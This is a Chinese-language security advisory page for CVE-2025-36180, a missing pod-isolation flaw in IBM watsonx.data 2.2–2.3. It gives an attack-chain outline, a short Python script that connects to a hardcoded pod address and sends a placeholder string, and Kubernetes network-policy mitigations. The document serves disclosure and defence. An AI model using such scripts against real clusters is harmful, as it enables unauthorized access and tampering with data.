IPBUF安全漏洞报告
English
CVE-2025-36180 CVSS 5.3 中危

CVE-2025-36180 IBM watsonx.data 数据传输限制缺失漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2025-36180
漏洞类型
安全配置错误
CVSS评分
5.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
IBM watsonx.data

相关标签

IBMwatsonx.data安全配置错误KubernetesPod隔离横向移动

漏洞概述

IBM watsonx.data 2.2 至 2.3 版本中存在安全漏洞。该漏洞源于 IBM Lakehouse 未能正确限制 pods 之间的通信机制。攻击者无需认证即可利用此缺陷,在 pods 之间无限制地传输数据,可能导致数据完整性受损或敏感信息被非授权访问。

技术细节

该漏洞的核心在于 IBM watsonx.data 部署在 Kubernetes 环境中时,Lakehouse 组件缺乏有效的网络策略控制。通常,微服务架构应通过 Network Policy 限制 Pod 间的横向移动。然而,受影响版本未实施此类隔离,导致攻击者一旦进入邻接网络(AV:A),即可绕过安全边界。根据 CVSS 3.1 向量,攻击无需用户交互(UI:N)和权限(PR:N),虽然机密性影响被评为无(C:N),但完整性影响为高(I:H),表明攻击者可能向目标 Pod 注入恶意数据或篡改传输内容,破坏数据一致性。

攻击链分析

STEP 1
侦察
攻击者在同一邻接网络内扫描 IBM watsonx.data 环境,识别开放的 Pod IP 地址和端口。
STEP 2
利用
利用缺少网络策略限制的缺陷,直接向目标 Pod 发起连接请求,无需身份验证。
STEP 3
影响
在 Pod 之间传输数据或注入恶意数据,破坏数据完整性或窃取敏感信息(视具体配置而定)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept Code for CVE-2025-36180 # This script simulates unauthorized data transfer between pods due to missing network restrictions. import socket import sys def send_unrestricted_data(target_ip, target_port, message): """ Attempts to send data to a target pod that should be restricted. """ try: print(f"[*] Attempting to connect to {target_ip}:{target_port}...") # Create a socket object client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Set a timeout for the connection client_socket.settimeout(5) # Connect to the target pod client_socket.connect((target_ip, target_port)) print("[+] Connection established successfully.") # Send data (simulating unauthorized transfer) client_socket.sendall(message.encode('utf-8')) print(f"[+] Data sent: {message}") # Receive response (optional) response = client_socket.recv(1024) print(f"[+] Response from pod: {response.decode('utf-8')}") except socket.timeout: print("[-] Connection timed out.") except ConnectionRefusedError: print("[-] Connection refused by the target.") except Exception as e: print(f"[-] An error occurred: {e}") finally: client_socket.close() if __name__ == "__main__": # Example usage # Replace with actual target IP and Port discovered in the vulnerable environment target = "10.244.1.5" port = 8080 payload = "UNAUTHORIZED_DATA_TRANSFER" send_unrestricted_data(target, port, payload)

影响范围

IBM watsonx.data 2.2
IBM watsonx.data 2.3

防御指南

临时缓解措施
如果不能立即升级,建议在 Kubernetes 集群中强制实施网络分段策略,利用网络策略隔离 IBM Lakehouse 的各个组件,阻断非必要的 Pod 间通信,并部署网络监控工具以检测异常的数据传输行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表